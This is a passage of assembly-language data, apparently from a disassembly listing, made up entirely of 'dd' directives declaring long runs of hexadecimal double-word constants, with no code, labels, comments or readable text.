0C589A225h, 7F4A1E02h, 0BFE14777h, 0A3E64F92h, 3FA21093h dd 489BF24Fh, 52AA27B7h, 8A50209Fh, 0F7F38107h, 0FE2D9F0Ch dd 0E96F473Eh, 97754984h, 6B5CB2F5h, 2AC52103h, 58FC57AEh dd 0EB96495Fh, 0A3E24CC7h, 262A592Eh, 2E7D10A3h, 253CD080h dd 0D78C62B7h, 0B03DDC30h, 272B67B5h, 5FF883DCh, 3BF02568h dd 0FE639A7Ch, 0E2819423h, 6B401833h, 0C40339A7h, 0B4CFC6Eh dd 72165D5Eh, 0D84E5D0Bh, 0EAA4FF06h, 0EB4DD585h, 0CC16D7CAh dd 364629F3h, 2DF95FAFh, 0CC96D817h, 21D2280Dh, 482B74B4h dd 0E05C4166h, 72290741h, 0FE2F8E13h, 7B460261h, 9DB4E92Eh dd 2D3213BEh, 74700A27h, 12530AF3h, 0A37D1668h, 0C69013F3h dd 0BDD4D8BEh, 0F77AFB09h, 0B9710070h, 0C011503Ah, 8EA9020Ch dd 729601D0h, 0CA0744A4h, 0E9923122h, 753650DDh, 0D0751EBAh dd 406F964Ch, 3EC0BBECh, 1EF4179Ah, 5D4BA8BAh, 0AC9222C7h dd 78C4A96Eh, 0A0095E25h, 62B5A847h, 76157F18h, 85105127h dd 13E7AAE9h, 0D0735FC8h, 0B43B48DDh, 4FE9C2A4h, 0A3E88406h dd 0C9FFD711h, 48A82E21h, 0B29F8F30h, 9B0D02Eh, 5ACACA48h dd 4B356C17h, 8637F304h, 0A1CF131Fh, 3531601Bh, 0AF1DC7ECh dd 0E4A8124Ah, 0D2034109h, 9301071Ch, 0FC5FA663h, 0EC6904F0h dd 0A12B5940h, 630FD54Ch, 1417343Fh, 0FE7739DAh, 563D60D3h dd 26EC38DEh, 4E7C116h, 1E7A51C6h, 687F5711h, 689F0AE1h dd 0F04324h, 0E6CFA3D0h, 5D0CEF31h, 0B25064E9h, 104C0525h dd 0ED560967h, 62FE80ACh, 45E96DDBh, 4B20B9Eh, 884AF180h dd 0E9D442EBh, 0F1CC1FAEh, 0AEF5682Ah, 755BF2FCh, 413FA6B4h dd 4D7541A5h, 0AD359CC3h, 0F5D8318Bh, 0B4802316h, 0D5828206h dd 4025F5E1h, 50778CFh, 8723320Bh, 6B8AE806h, 963B9240h dd 8F83A432h, 2DBC9268h, 7048BA75h, 0E0E62FEDh, 0D4975D46h dd 26124337h, 51F3EE84h, 80DEBA4Bh, 759BBE00h, 0EEC1694Eh dd 0E6030550h, 0F9810888h, 4284EA2Ch, 48875DF9h, 7F29EC7Ah dd 4F50A80h, 529F7151h, 0C8BB2086h, 0C087B806h, 1C4AA534h dd 6D194F7Dh, 8A091FEh, 0BC15B9Fh, 6C005EF7h, 0D0D7DF4Ch dd 0DEC7312Dh, 872DC215h, 42FC98F7h, 5A467B0Dh, 0B73BB821h dd 1F83E760h, 4F68487Ch, 0F3F99B05h, 0AB04BFDEh, 0B813DA5Ah dd 0F7E30231h, 761F461Eh, 0C0E075Eh, 0B9517004h, 71F8727Eh dd 4912C9F8h, 0EFBB70h dd 4876ABBAh, 0D95C3143h, 59CA137Ah, 9B81C2Ch, 176D1640h dd 50031002h, 8C79E5D5h, 58E4149h, 3505BBA4h, 0AAD671F1h dd 8E1360C5h, 0EB3ABEF1h, 9FC6833Ch, 0BA203BFEh, 304AFC9Fh dd 0A6185F0Ch, 0B40A5D4Bh, 680908C6h, 0E98B601Eh, 0A109B796h dd 273C737Dh, 0EC27A495h, 5BE14DA2h, 924FA35Fh, 72FD6304h dd 0B4506600h, 0E77630CAh, 5C0583Ah, 22A26803h, 5CB18B8Ch dd 6F319925h, 0E09CBF34h, 9BF41492h, 7725D39Ch, 0D795D3EEh dd 432206A0h, 5012937h, 1FDB67BEh, 123E5DE9h, 9367F98Ch dd 65E88841h, 0BA2B6743h, 0F2083435h, 3DD233A3h, 3EC40CD9h dd 41CEBBF4h, 45C12EBEh, 0C20727BDh, 0F754DA21h, 0F749C849h dd 3C0C2E20h, 2AE71811h, 0A4BC5854h, 99D1E4EFh, 43852ABh dd 0AB01B71Eh, 638F3FB2h, 5C8EBBB7h, 0F570B45Eh, 0D560B9AAh dd 96C7FC7Fh, 675ECA80h, 7F09E2EAh, 4A7C388Bh, 5E65E958h dd 869BBDCBh, 3C231E0Ch, 4714C8AFh, 0D3818F2Eh, 0A745B201h dd 0A043F20Ch, 583029A9h, 0E71CC723h, 15D52F0Ch, 0B6923137h dd 0C8EC2AAAh, 523A02B2h, 6BB20EBEh, 0C3855253h, 28EF8088h dd 76B45BD8h, 0FEE2CE0Bh, 17F462AEh, 0E6045205h, 0AF139A65h dd 4F1EE1E2h, 9B8297Bh, 0A2D8D936h, 19FD858h, 7EFB490Bh dd 0C3ED029h, 56565362h, 0CA667695h, 0E81912B2h, 0C988F131h dd 0B9EAF853h, 8C6E4ACAh, 11C05AAEh, 1383EF81h, 26127B40h dd 80B72FEBh, 6FA81109h, 279E4431h, 0C360296h, 67B3F607h dd 0B98FE1DCh, 81AAE67Dh, 5307E7E4h, 0E600D8C3h, 0A5CA46BBh dd 12C1819Bh, 4F8760Fh, 5CE4C8h, 1853B6BBh, 0BA2CF433h dd 70FBF444h, 9B82589Bh, 2D4D5B24h, 17668DAh, 0CC8BE919h dd 0AC6E6CCFh, 17579F76h, 0F0917F85h, 29936B04h, 1084BBC7h dd 22EB8113h, 0BF7648Fh, 9C6F4CABh, 0D9342AAh, 0A25996FDh dd 0BFFBF084h, 8458605Ch, 0C177826Eh, 806A5675h, 4DBF0FA4h dd 0F35C3AFEh, 9AAF63Eh, 4CB11D7Fh, 7BE45803h, 0FB014D98h dd 8825A90h, 0BD05165Fh, 5D27C4F1h, 68217CC8h, 6C00F9BAh dd 8008E2C0h, 9188B8F2h, 0F7E909D9h, 5A60BCF0h, 134995CCh dd 7BB051Ah, 0C602945Bh, 0FF9459D3h, 948BE08h, 36DDE589h dd 0BA0907Bh, 0B884714h, 6411D780h, 0DA95213Dh, 580881CBh dd 8960F5E5h, 60707EF1h, 0D623FA61h, 2928A9C2h, 0E40F9DDh dd 1AA32568h, 48920999h, 28D6E2D1h, 15C22AD0h, 0FDDB2D43h dd 16F586C3h, 0D732D392h, 11F72706h, 150B208h, 0BBB85FF9h dd 3FE5DAF0h, 0F6F8BCB4h, 1C470921h, 0FBD534FFh, 0ED764B51h dd 0B77AE978h, 844E6C2Dh, 201F48DEh, 40CAFDBAh, 446BE908h dd 83BAD4C3h, 78143D3Bh, 1A8EEAB0h, 17FF50Dh, 802E2F2h dd 42CC5F5Eh, 0F1200D27h, 41B2C72Ah, 3001C280h, 0CCFC1DDh dd 7E22334h, 0B0AF9DC0h, 99D5E49h, 711EDC66h, 48746205h dd 0B0D63288h, 4871FF58h, 847FC863h, 199B8227h, 0BB824B59h dd 0C16C57E5h, 7EFA3F93h, 0E6096299h, 652FA30Ah, 267F88E1h dd 0CC3A5F2Dh, 0FC765485h, 68BF4A3Ch, 8025E9C6h, 2600C411h dd 1F3A30C2h, 63D24950h, 58BE5FF4h, 605D7A02h, 0AC6834FBh dd 607B75E3h, 70591BB2h, 0D6964CA9h, 5D468E42h, 239ECCA2h dd 0B883F11Bh, 2E2ADD3Bh, 68C20CF3h, 53550136h, 2D64A4A8h dd 0BA957950h, 0D73C40B0h, 65870573h, 0F416A6E9h, 7906EA91h dd 0EEBA4CCFh, 314A0Bh, 3C88EF41h, 0D29F2754h, 8508829Eh dd 0BA53D6A3h, 487103AEh, 0AFC8660Dh, 0E03DD16Dh, 35018083h dd 0DB7E6FDAh, 0E7C74B89h, 0E6401706h, 1292D9FDh, 0EAF1AF0Fh dd 0FF2A0D21h, 7525F65Fh, 0F1E90260h, 5A0AD8BAh, 8410D768h dd 0AD510069h, 66CE5Fh, 0C1E78147h, 4F4E7A53h, 164CECC1h dd 0E9F4100Ch, 5EB473BCh, 2E44EDB0h, 0BA80E72Ch, 51274388h dd 46F20481h, 0EA376013h, 0E2C03137h, 5B77203Ch, 0BB35C535h dd 3EC4E75Eh, 80BB1939h, 0A1D5E96Ah, 0A184A99Ah, 92638B0Bh dd 157CC04Ch, 9EB99E0Ah, 2C6689CCh, 681E40D0h, 0D2EB25Eh dd 0A2053302h, 2F0A62F0h, 9693DD99h, 74FEBCB1h, 46C43105h dd 3F883B68h, 0DBC95C0Bh, 6AE3022Dh, 2EFD03F2h, 269128FDh dd 7ECE0852h, 98D5200Ch, 50BA01B7h, 0C480D1B4h, 3CC821F3h dd 86CB7081h, 0C260E8FAh, 0A22C1241h, 2330027Ch, 28E17FAEh dd 73583F78h, 2DBB2B0Ch, 0CD782936h, 585B0880h, 0C75362B6h dd 75F6D2CBh, 8D169CEh, 78BF8000h, 6816F379h, 66A3380Ah dd 0F427FF05h, 0FDC2AF1Ah, 999040E5h, 0D0EBDE28h, 5A317A2Fh dd 1230152Dh, 12C78A2Ah, 0CF21DC8Ah, 17966A53h, 7A2BC99Eh dd 3448EBECh, 0F713BB5Eh, 0A871B6E0h, 1E85BBA8h, 922ACE2Fh dd 0AFF684D7h, 0E98519F3h, 804094F9h, 3525517Fh, 0F3814E0Eh dd 60788479h, 4485A4EEh, 726B5916h, 0BE4F12AFh, 0CA20898Bh dd 37F78000h, 0B050C7FEh, 7DD9DEDh, 7DDB5562h, 0E9DB6EE0h dd 56F2AB27h, 2CB622Ch, 0E3094644h, 28E16Fh, 0B94226A1h dd 0F0E92549h, 0D8A6E00Eh, 569FB8D3h, 72755282h, 0D9E912C5h dd 4EF5E232h, 0D41268F2h, 13AFB341h, 37AF6F57h, 619192F0h dd 0BA0FAB66h, 82F96480h, 5DDEDCE9h, 0DF27AAD3h, 565BFE16h dd 0C8A3205h, 19CA151Eh, 0E68794F5h, 237C044h, 568DAFB2h dd 0A5AD956Ah, 4B83B801h, 21507E92h, 0AAEC6A57h, 0BD5D7D05h dd 4010AF02h, 20684807h, 0D0E78025h, 718C3B3Fh, 90F73D67h dd 0F8E94B93h, 6D41325Eh, 716514BBh, 0EBADE46Fh, 2A1C0858h dd 2134EA24h, 48C02D3Bh, 5A49F464h, 2EAAF109h, 8E60842Fh dd 47C403B7h, 0CB814301h, 35E74430h, 16468660h, 887971Eh dd 280140h, 0F97A0D0Bh, 6554AE6Ch, 0A1205E8h, 7F036B09h dd 5C65C465h, 4EDAF7FEh, 0C2FFEDD4h, 5712A76Fh, 16B7D0F2h dd 56932F42h, 6D842092h, 0EE02EBBEh, 75FEEA14h, 6C52B3D4h dd 0E201F5CEh, 3C903369h, 28639356h, 0DB1146A3h, 99BA0410h dd 7D81BF7Bh, 5803CCB2h, 53A0D004h, 50FE091Dh, 5B060890h dd 0B33B7968h, 0A25BB33h, 2E6825ADh, 0C856D989h, 25D1E9F8h dd 4BDCFEEFh, 951EE978h, 0D1282781h, 0E9CACD5Ah, 5DC6642Bh dd 0D96DEEB0h, 0C5F95241h, 8712F83Ch, 0ACE0FBFAh, 217FBEBEh dd 0AF8AC2B5h, 92CD8001h, 873AF5CDh, 0FE160C27h, 4451CC32h dd 728B5518h, 705214FDh, 0E37D4E68h, 40FF1531h, 709416C9h dd 8F8ACAA2h, 0F26088D0h, 40D6F60Eh, 80CEFEDEh, 6B765EEh dd 422785A7h, 0F1885953h, 4D2D5D5Ah, 0B57B4C2Bh, 75C9245Eh dd 6E84B6C2h, 1CCFC3F6h, 585D1FBCh, 0A297A4C9h, 8BD16A6Eh dd 9163968Eh, 32EB00C8h, 9FC9EF7h, 6EAD5581h, 3E9594F8h dd 154491A5h, 3331A084h, 6ADEC3C5h, 6C46D141h, 0FEEC3207h dd 1E99C8A8h, 4CB2989h, 32EDCC88h, 0EAA08C8Bh, 0AD59AA68h dd 2B13464Eh, 0D3FFF6EBh, 18EA45E0h, 0DA0C067Bh, 0C62609F9h dd 93031579h, 47F5519h, 0E62AE50Ch, 0D6178013h, 0B1091F4Dh dd 0D493D2E9h, 650A6097h, 0D4BD0548h, 0EDD6C97Fh, 859C2D03h dd 0A4ABCD23h, 5C950243h, 90C05AECh, 909C1714h, 0AA52E44Ch dd 0EB534092h, 345F0155h, 2117D0BEh, 2F843ED9h, 7AD7C9AFh dd 0BB814EF9h, 2B0D806Dh, 0B8407DF3h, 0F51007Eh, 2EE68163h dd 1F76F03Ch, 102AEE1Ch, 12BA0312h, 0B487FCC3h, 555FD8FBh dd 5E4224Ah, 32B614CBh, 2613CEA8h, 0EC2B5784h, 0C61F1280h dd 548B0FA3h, 0E9864771h dd 0BD2ABB80h, 0E60C4953h, 9C641AAh, 10396C51h, 88D2875h dd 0E6C15D05h, 0C0CB2B87h, 4A0FEC4h, 59E9D19Ah, 0BFBD0A96h dd 0B3C5D549h, 1620EE08h, 74D095Fh, 0A75B27E9h, 0AF080010h dd 0F30AB030h, 0E812E70h, 841108CFh, 0E05D4F09h, 151A59h dd 0BD553F4Dh, 1E96492Ah, 0CA4389B7h, 0DE0B0867h, 1C8BDF04h dd 0D94BE3FFh, 0FE3B5C0Dh, 0CF901721h, 4CC08E20h, 1F1057EDh dd 5CF64E30h, 0BF59CD17h, 276818CCh, 4BE91A82h, 7F44A5F9h dd 0C4A2A64h, 0B3EF2485h, 60A2D6F5h, 0A8D73A90h, 17E9843Fh dd 0FB2FB0F1h, 1320C97Dh, 0F2CACBC2h, 142D8254h, 0B8DE976Ch dd 0DFC5FF4Bh, 0D5E35B97h, 7F99EED6h, 3682C404h, 0DEE57577h dd 0B981802Eh, 72353FDBh, 0FE683861h, 54B3530Ch, 69BDDA24h dd 47897FF9h, 717F0D68h, 2E8F88D9h, 6E1E2D26h, 0B3E7251Dh dd 6273D12Eh, 6880AB6Ch, 22E31B16h, 54C711B5h, 40AAD830h dd 50B555CDh, 0E370439h, 8089122Eh, 0D5B0E9D5h, 7BB920C1h dd 0E06FFC01h, 6075242Ah, 4089C52Fh, 0B2EBE94Ah, 0BB7B485h dd 109882A7h, 30F4DE89h, 5C0EE1B4h, 661AFC97h, 0F9354B0Eh dd 10846108h, 81203BB4h, 6D31ED9h, 9279581Fh, 56DFFCD0h dd 0AD174B38h, 0A03E56F3h, 0E5C013CEh, 4D810903h, 68FE0BE4h dd 0E8068AB7h, 0BDDBD42Dh, 24999593h, 0CFE1BA08h, 9D70CA5h dd 5852D6DBh, 980963Ah, 77F0EED6h, 409B91Eh, 0F3641168h dd 0F1BA094Fh, 9E079FEh, 9711CDD7h, 0E8F7CD5Ah, 149D8465h dd 0A984807Fh, 0E7688056h, 9733384Fh, 750B9F83h, 5094D4C5h dd 0E1D0C998h, 0A86B0197h, 0AEF34A54h, 0E9BAF44Ah, 0D7EEB72Ah dd 0ADD3FE9Dh, 0F6875287h, 5CA3B77Ch, 88B487AFh, 8888591Fh dd 0B252031Ch, 79F95142h, 86BC2A1Bh, 0B48FFC96h, 5F10ACEEh dd 1EEF5F64h, 1F438048h, 1713E964h, 0CFB336C0h, 9766EB80h dd 6B6B31D5h, 5301C3C1h, 1E193FB7h, 0B9F85020h, 2DE9F230h dd 6416DF3Ch, 649E6CB0h, 3861F42h, 0D490FA88h, 5B4F665Ah dd 0AF4E6A4h, 3A36E91Bh, 657682C8h, 0F2604426h, 0CABF08EFh dd 80F656C5h, 1745A35h, 50953BE9h, 215C5CDEh, 0E94971B4h dd 0C909F6ABh, 0E87041B0h, 40BF0BFFh, 0A800C80Bh, 6C57A3C7h dd 0B35BD7B8h, 4C6B44A2h, 0B858F4C4h, 48F28097h, 0C51FD674h dd 0C45A1122h, 0EB50FEC8h, 7EBD7B08h, 3E2C6CFAh, 7B4E4A13h dd 84117B9h, 0AF31D12Eh, 18E90161h, 592092Eh, 5280B574h dd 0A50E11BAh, 409EB076h, 723868B8h, 8BEA4A6Dh, 1E160BCDh dd 0D41D8BDDh, 17082044h, 209FC5E9h, 0B621D4F4h, 0B8221C65h dd 550D8882h, 0BCE48705h, 0A0CA86A9h, 20E87E0Fh, 0E2C1C062h dd 520E4367h, 0CB0BA762h, 1CFAC6E9h, 7B5AD02Dh, 5F602565h dd 7B678530h, 0D361440Ch, 0F2F3290Ah, 0C088DEFh, 0C7581402h dd 0B9D225BFh, 0A151592Dh, 67AFE9F9h, 93B6B23Bh, 2044365Eh dd 36C269A5h, 88B5038Bh, 0D98EFA84h, 51F80170h, 0E980EAB1h dd 0B0C72AA4h, 5234C160h, 27CB7CB6h, 3C705FEEh, 0DE48C370h dd 0CE257B74h, 0C61C8277h, 7CFA4285h, 89EB811Bh, 402B19FAh dd 551EABB8h, 0E3E94512h, 685AA9C0h, 4434974h, 9036B213h dd 0D017F0D4h, 0D948897Bh, 9B214E63h, 1C3D0803h, 0E8D7310h dd 3C6FB850h, 0D8F751C2h, 0FCE0FF40h, 65003A25h, 0A53547E5h dd 1F04602Bh, 0D6E9C501h, 851FE209h, 0AB8838F4h, 1715B40Ch dd 301C52h, 0BA77713Fh, 6B79DDB2h, 0B3CA0124h, 0C1F1BD0Ah dd 0B33FFAAFh, 0E557A715h, 685E87E3h, 0CD6E979h, 48E41C62h dd 275ED5D8h, 0EF524EAFh, 90694922h, 767A17A1h, 9984EA73h dd 464C081Fh, 0A25D2647h, 580B4034h, 4898956Ah, 1991E0AFh dd 58E976AFh, 2F5828E9h, 2BFB42Ch, 9468D241h, 1C4A32C0h dd 7DEAF781h, 26308E79h, 2857434Dh, 7932107h, 5247BB53h dd 2721F20h, 856E8FEh, 0AC7E4577h, 0BE4D098Ch, 12CFE6DDh dd 0A8FECA58h, 4C29C44Bh, 0B220D014h, 5212BE01h, 0F5092761h dd 0FDCC7731h, 0F7F12F73h, 0B4099A0Bh, 2923A4F5h, 58D00482h dd 0C679BFF7h, 98FD4A3Ah, 0F2A37A04h, 8B88C268h, 590D720Bh dd 5C3F6BA0h, 0B27BCE93h, 62DD400h, 73575D08h, 65FA090Ch dd 0CD7C4CCEh, 0CD008A0h, 525F2614h, 0C75E893Fh, 90E8D00Fh dd 5899B8D4h, 2D78B15Bh, 0A6944B8Ah, 2FB6F7F4h, 5BC9BF63h dd 7864BBA4h, 7C9C8FAAh, 305E915h, 0F192982Dh, 6202027Ch dd 0FEFC15E9h, 0BDF69675h, 37885B58h, 0DD27B0E9h, 26EE5DFEh dd 0DBC97227h, 0DE9ABD6Fh, 72FF0A13h, 3B1C1454h, 979A576h dd 32698C18h, 0A97D2A8Bh, 0E9C2071Dh, 1CA6F87Bh, 0FD27EA80h dd 0D33CA938h, 5A81C33Ah, 0F6D88850h, 58C8D3D0h, 764EBC0h dd 280F2DECh, 95700FF3h, 654884B4h, 0CD6F613h, 0D806F367h dd 0A2F74398h, 1D20AFF9h, 478F24FDh, 0E3181347h, 0E9520403h dd 1292FEE7h, 0AE30C155h, 0FEC5A79Bh, 0B1E0BE9Ch, 4B5CFEEAh dd 0ED62A52Bh, 21CA05F7h, 0C159404Fh, 5E6802E9h, 8C316FE5h dd 532BF9D4h, 7309B260h, 0C0104B9Fh, 8280B574h, 4977D9FFh dd 3D5B127Ah, 0F5598209h, 96C3E18Bh, 3133ED80h, 0AC34D090h dd 0D5EE23F8h, 0F568ADF5h, 0BFC385AEh, 0A04ED8B6h, 849FE5F9h dd 6F8121C1h, 8C7EF6F9h, 0E697A781h, 0F48CDCF4h, 0E92EC061h dd 1FBA75FCh, 601A8127h, 0A12DE8E8h, 0CC6B5D07h, 6CFB24F2h dd 0D6CAC53Fh, 181AF8B4h, 0C074E70h, 0C65F52E7h, 0A8DE1CEAh dd 97E91A08h, 0C55732A7h, 0CC5DA73Eh, 9D5D7980h, 0C4AA3DC3h dd 320F3B40h, 82D95881h, 0B84AEA78h, 73E3B40Eh, 40D72050h dd 0DCC1297Dh, 4C3B015Ah, 9734EA2Ah, 0FAC5EDFDh, 0A440B808h dd 4759C080h, 0C37969BAh, 0B456A5F6h, 0F9328818h, 0C1DF8233h dd 0AD3E30D2h, 0F9D3DBF1h, 0B7AC6731h, 8ADFAFCAh, 0B844786h dd 0ADBF6AE5h, 2CC1D626h, 30096851h, 7AE1AFB4h, 9A81B3B8h dd 6A6DAB5Eh, 6CC516D7h, 2CE90C21h, 223AAB25h, 0B9F01BA7h dd 0E51DF995h, 0F9C95096h, 671EAA4Ah, 0D7FB40D2h, 0B1DB74D8h dd 0A003ECCh, 7C578B2Dh, 61BFA271h, 1960908Ch, 0B4194A0Eh dd 573EF3D7h, 0CB0B2885h, 161EA124h, 0D7BDF41h, 17B806Fh dd 5717EB37h, 34AEE5C1h, 0FC45FE5Dh, 9AEB026Dh, 9A12FEBh dd 6BFBDFA3h, 581DB0C8h, 0E0B64BFAh, 7FB28993h, 0FBB41BE9h dd 5BDF5138h, 0D262BC75h, 98FA6A04h, 0BA1134FBh, 56296E4Bh dd 0FC0AC4F4h, 215A7B6Ah, 0C65B3544h, 0BA21A12h, 80EDD740h dd 7A6BEE2Fh, 1005618Fh, 0EE3AE954h, 0DD880BD6h, 0C6BA0194h dd 3B4DB175h, 0EB5B94ECh, 542CFF28h, 0B8E1800Ch, 6ED469BAh dd 8B3C45D4h, 852B1B4Dh, 38AED1C0h, 0EF0BBB9Fh, 5047DF7Bh dd 7568122Ch, 7996E31Fh, 0CD462D02h, 680DE95Eh, 0DED0F76Ch dd 60830004h, 91407CADh, 53E6D1F6h, 0ED40B990h, 954F4E09h dd 0BC880485h, 94F54095h, 0C13B2A2Ch, 650CFB0Ch, 0A722906Ch dd 17DDB72Ch, 0C11B4F70h, 8E3004B2h, 17EA127Fh, 0BD56E0D9h dd 0FEA65F4Bh, 4A470711h, 6BEADDFFh, 76A42494h, 0BD7B4B68h dd 0E05184AAh, 8F3B5C18h, 0E4000293h, 810ECA71h, 89D09E3h dd 20755A73h, 0BE04C30Fh, 0EFFF4EF5h, 0BF3DE02Dh, 63E9F981h dd 9ADFAC8Dh, 41FEC093h, 0A45D9A79h, 5EC42B6Fh, 0F85B070Dh dd 0ACF05FFEh, 0B7F82FEBh, 5EE5907Dh, 218AC2Fh, 0F3E9D031h dd 270AD929h, 0A6307B7Ch, 179E5D46h, 0AD31687Bh, 0E14A1087h dd 2C515012h, 6E50B4ABh dd 0A4BA5DEBh, 0F07DD8A2h, 6F25F69Bh, 0D7FD2C0Fh, 0D3D6FC44h dd 581E82EEh, 0A65D45h, 4B23B800h, 62350B2Eh, 0B6E90B27h dd 0D1B59B50h, 50F90A4Eh, 352AADAh, 0E8C4F181h, 0BC2004B7h dd 0E594DACh, 88FB07B5h, 872C22FDh, 3D4F3E1h, 155AB151h dd 78CF4228h, 0C2225E50h, 0BB9CE8FCh, 2FD51260h, 0E7405CF1h dd 634284F6h, 42BB0085h, 1A50E12Dh, 53122EF8h, 11C2723Eh dd 9D17507Bh, 0B5E696F5h, 282044E6h, 0C38EA0FCh, 13613043h dd 76C950Ch, 0C1894A2Eh, 1375ED08h, 1D0A725Fh, 75C4095Fh dd 0FE9AA71h, 7B6FFFA5h, 0E94504D8h, 0A70E812h, 703013B0h dd 22685603h, 0B8AF8473h, 57A8A468h, 4A4B89A8h, 0F04331F7h dd 0CA08CD17h, 1EF0105Fh, 0EEF45A2Dh, 0A9A87FC5h, 2B78FF5Eh dd 2F209D09h, 0BB5D63E3h, 936748h, 2F2054Fh, 0C0A85CE9h dd 12B6C64Bh, 87273353h, 434EDCEEh, 4AB2E956h, 7B696E5Dh dd 68F90C66h, 83975AB2h, 62D1D9ABh, 54DD7B41h, 0BD3E883Fh dd 3E317C09h, 4903DC73h, 4979D9D5h, 0E9E1995Bh, 1D22096Ch dd 7CE2FB92h, 0BE056716h, 9D687230h, 0AB9E952Eh, 6E77C7A2h dd 723A0986h, 0F3DF384Ah, 90C201Ch, 404DE958h, 1A55054h dd 7F048C65h, 0B252817Fh, 62CA2ACBh, 0E2157E13h, 0E3D112DCh dd 0E5ED661Eh, 69012E38h, 0EA244105h, 83D15B49h, 0D903E1BDh dd 50297D88h, 8A5F2E13h, 54733834h, 0C67A8939h, 98557420h dd 56E42F71h, 0B122BCCDh, 0C0BEE92Fh, 4BDBB590h, 97FF28h dd 615B0EEFh, 0C030E985h, 0E2E7852Ch, 74483D8Ch, 0DD955DEAh dd 8B9FBA96h, 0A402D721h, 6074D029h, 0E9C7DC69h, 9605084h dd 8088288h, 0EE9CAE1Bh, 3C16C79Bh, 0B0C9C260h, 0EF6A5A6Bh dd 77ED900Bh, 0E9162596h, 40520760h, 0A4BC5FFh, 0AF93B933h dd 8E623A5Eh, 21535D52h, 0DF8518BEh, 605BDAE3h, 9E118A42h dd 0E7A0B0A6h, 38362910h, 80888A3Fh, 4FE95A08h, 0BFC0C0EBh dd 0FE4C505Bh, 186619C4h, 50BC2014h, 20E20C16h, 4361A641h dd 2FF84771h, 5217E59Eh, 757BDEAFh, 80E9C559h, 53B9118Fh dd 8BF32881h, 0EBC73F06h, 0FF1E5F96h, 8191484h, 0BE2BD86h dd 4009FA74h, 0FB485D0Bh, 4A181ABFh, 7E460DB1h, 8412F38h dd 50207ED0h, 0D754A049h, 0D3F1BD39h, 986327BDh, 3C6C93C9h dd 0FD0631A8h, 72FAEEE9h, 5D250504h, 10FF5696h, 0BF7507E7h dd 54FD07Ah, 5501B0F9h, 0AB433CBDh, 0D1FA573Dh, 2A01D6E3h dd 5F0401B9h, 0AF716468h, 0B8836964h, 267E160h, 65BCD33Ah dd 0A2B8114Eh, 0E5E0B95Ah, 2A103FECh, 0B5D3B3Fh, 14FEE3E1h dd 0C2E3A255h, 42F86954h, 1A067882h, 0E280F60Dh, 76994C14h dd 81077A9Dh, 0DFE65908h, 8CF30760h, 1F83124Ah, 0BD575A5Bh dd 5828259Dh, 155D970Eh, 101C2402h, 86A04F9Ch, 0A73F247Dh dd 39813E05h, 15C187Bh, 2B38DDF1h, 83AD5C01h, 0FC0207Fh dd 9AE6E484h, 0AC3DF4FFh, 90A2B5E4h, 82A9D5E9h, 0AFD9B9B3h dd 66417A4Ch, 0D23E16BEh, 1010AA27h, 0E5C11622h, 0C5AC3280h dd 75024078h, 9C878002h, 5514D2E9h, 59523476h, 9710C25h dd 5D53A0A7h, 1C7078DEh, 0C4957C95h, 9BA8AE57h, 7C9D5FACh dd 9A8269E1h, 0EC0AC5A0h, 0E2CCDE0Bh, 0C5F65C35h, 1566E905h dd 24A08DE9h, 41131759h, 7F35C9E0h, 7FF625B7h, 9FCABBFDh dd 0A2E2029Bh, 28DFE6D3h, 3086C884h, 0B974BF9Bh, 0C3253734h dd 5F218950h, 7B355020h, 4509EB81h, 12C1423h, 70297DDCh dd 40C82730h, 0EB48016Eh, 0F90DDF95h, 0FA9ECBC3h, 18A57F08h dd 26EBE5E8h, 25585612h, 8064EA5h, 623120D4h, 0E5A340BFh dd 604C7DF4h, 0DBED1107h, 0F690DFF3h, 0FFC65130h, 758E7FC9h dd 0D49864h, 912D176Fh, 1508C60h, 0B2427295h, 2BDB9F03h dd 172A1411h, 9280A084h, 321E2413h, 67F202B3h, 0E45F14F8h dd 820D01E0h, 0BAE96CC0h, 5507DBEh, 0B40C4C72h, 0BD5E0BF8h dd 0D1F31446h, 0E96B0482h, 31AE8291h, 3F8E50D9h, 2109EAB3h dd 46DE5EF0h, 68C83107h, 0CCBB3594h, 64A0C0Bh, 417196CCh dd 0B90644BAh, 0C04B178Ah, 53650F2Dh, 0F604BE2Bh, 50AAABE9h dd 5B1EA9A2h, 0C71C8C12h, 0DA95EA3Bh, 0F47AFB9Dh, 604084D8h dd 12CC0BBBh, 0B3F0177Eh, 3C906812h, 0F3BAC044h, 0EA9600A2h dd 5FF7C031h, 27C5B62Ah, 572A1A2Dh, 0FBD3E585h, 34ABA812h dd 8FB201F8h, 2E3B493Fh, 64675DAFh, 0ACE984C0h, 0B4D99142h dd 0D9DFC255h, 61DB4963h, 4AC5BE34h, 254A76A0h, 0AE58D2F7h dd 2E14D60Bh, 0F73A77CDh, 0D076228Bh, 44CEF181h, 0CD3F60ACh dd 0ABA680A2h, 0E90EAE43h, 957C62DAh, 0ECF7565Fh, 605114D5h dd 3D10BCCFh, 0DC332F0Eh, 48FE5CBh, 0B1BDCAABh, 0DAF53EAAh dd 2F5FA16Bh, 5E049D1h, 0EBD67828h, 1C5A949Ch, 2F013B68h dd 0E7CC32DFh, 0E9508422h, 7682C84Ch, 749F7A70h, 0E65D7219h dd 288B4FDh, 699311CFh, 3B27FC57h, 0FD48E725h, 16E60C4Bh dd 18C4BFFDh, 2E67A319h, 51489C42h, 0A66F24h, 17B3E913h dd 0D6A1E993h, 26E96778h, 893F5B29h, 1F646659h, 0CC3B0269h dd 5FFA3739h, 5C8BF840h, 807F2E66h, 684244BBh, 619D9E70h dd 2B46FEE9h, 0C26D6F2h, 0B02D2A37h, 0C1801C71h, 0BD912AAh dd 5D539CD1h, 0B50B05A6h, 6EC6DDFCh, 255D47BFh, 0D870D6C0h dd 6E23AEA1h, 0BA0006F3h, 542D07E4h, 0F7B8DAF7h, 0F220441h dd 9CE15725h, 5EAC6D5Fh, 0A86B41ABh, 6176E229h, 0FA72CA4Ah dd 0AF0D3330h, 3B4821CEh, 0F60257F4h, 766937F5h, 0DF20C97Ah dd 6F8F9401h, 7A584969h, 0D390D3FCh, 0B790E54Eh, 3D5320EBh dd 0BFF0063Ah, 0EFC31B25h, 0CAFF8E1h, 5A04047Fh, 2F128BB6h dd 0D6E9DFh, 690C98C2h, 4BAD6870h, 6BDBA356h, 0D1740231h dd 0D5F07587h, 72FED4B7h, 8430797Fh, 0FA20C0E9h, 5C8B97F6h dd 57490851h, 0E5BFBC9Eh, 4ACD89D0h, 0B0215F5h, 5C203EE9h dd 1D6BE7BFh, 2669227Ah, 0C54DDD15h, 0E9557DB0h, 2DA09C2Bh dd 7F7A66FEh, 50821ED9h, 0F67B5C68h, 501390E4h, 341328EDh dd 97BC32A2h, 